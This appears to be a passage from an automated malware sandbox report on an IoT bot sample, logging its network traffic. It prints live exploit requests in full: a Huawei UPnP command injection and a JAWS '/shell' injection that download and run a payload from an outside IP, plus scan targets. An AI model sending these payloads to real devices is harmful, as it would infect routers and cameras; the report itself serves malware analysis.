61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/z0r0.m68k.elf (PID: 5478)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 83.35.249.211
Source: unknown	TCP traffic detected without corresponding DNS query: 148.18.74.211
Source: unknown	TCP traffic detected without corresponding DNS query: 2.152.67.210
Source: unknown	TCP traffic detected without corresponding DNS query: 151.167.86.164
Source: unknown	TCP traffic detected without corresponding DNS query: 218.190.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 124.30.231.141
Source: unknown	TCP traffic detected without corresponding DNS query: 178.148.48.168
Source: unknown	TCP traffic detected without corresponding DNS query: 61.24.150.47
Source: unknown	TCP traffic detected without corresponding DNS query: 116.6.67.71
Source: unknown	TCP traffic detected without corresponding DNS query: 108.54.252.117
Source: unknown	TCP traffic detected without corresponding DNS query: 20.136.18.142
Source: unknown	TCP traffic detected without corresponding DNS query: 190.127.212.84
Source: unknown	TCP traffic detected without corresponding DNS query: 199.102.116.109
Source: unknown	TCP traffic detected without corresponding DNS query: 103.102.48.33
Source: unknown	TCP traffic detected without corresponding DNS query: 9.159.71.35
Source: unknown	TCP traffic detected without corresponding DNS query: 212.199.188.122
Source: unknown	TCP traffic detected without corresponding DNS query: 196.85.151.212
Source: unknown	TCP traffic detected without corresponding DNS query: 193.138.201.14
Source: unknown	TCP traffic detected without corresponding DNS query: 23.252.32.13
Source: unknown	TCP traffic detected without corresponding DNS query: 77.212.251.73
Source: unknown	TCP traffic detected without corresponding DNS query: 172.137.92.232
Source: unknown	TCP traffic detected without corresponding DNS query: 84.96.230.45
Source: unknown	TCP traffic detected without corresponding DNS query: 161.107.126.215
Source: unknown	TCP traffic detected without corresponding DNS query: 159.228.21.229
Source: unknown	TCP traffic detected without corresponding DNS query: 117.41.8.6
Source: unknown	TCP traffic detected without corresponding DNS query: 89.187.214.24
Source: unknown	TCP traffic detected without corresponding DNS query: 165.27.223.215
Source: unknown	TCP traffic detected without corresponding DNS query: 42.206.9.68
Source: unknown	TCP traffic detected without corresponding DNS query: 180.236.235.37
Source: unknown	TCP traffic detected without corresponding DNS query: 176.62.17.197
Source: unknown	TCP traffic detected without corresponding DNS query: 94.239.228.202
Source: unknown	TCP traffic detected without corresponding DNS query: 174.99.165.96
Source: unknown	TCP traffic detected without corresponding DNS query: 216.73.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 137.133.61.92
Source: unknown	TCP traffic detected without corresponding DNS query: 116.62.184.45
Source: unknown	TCP traffic detected without corresponding DNS query: 124.249.59.186
Source: unknown	TCP traffic detected without corresponding DNS query: 88.49.37.108
Source: unknown	TCP traffic detected without corresponding DNS query: 95.137.136.0
Source: unknown	TCP traffic detected without corresponding DNS query: 69.102.43.202
Source: unknown	TCP traffic detected without corresponding DNS query: 71.72.102.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.6.171.137
Source: unknown	TCP traffic detected without corresponding DNS query: 164.163.92.248
Source: unknown	TCP traffic detected without corresponding DNS query: 209.167.167.43
Source: unknown	TCP traffic detected without corresponding DNS query: 120.177.111.158
Source: unknown	TCP traffic detected without corresponding DNS query: 84.160.137.155
Source: unknown	TCP traffic detected without corresponding DNS query: 141.166.199.240
Source: unknown	TCP traffic detected without corresponding DNS query: 113.1.234.68
Source: unknown	TCP traffic detected without corresponding DNS query: 157.159.238.248
Source: unknown	TCP traffic detected without corresponding DNS query: 18.35.143.196
Source: unknown	TCP traffic detected without corresponding DNS query: 223.130.156.254

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
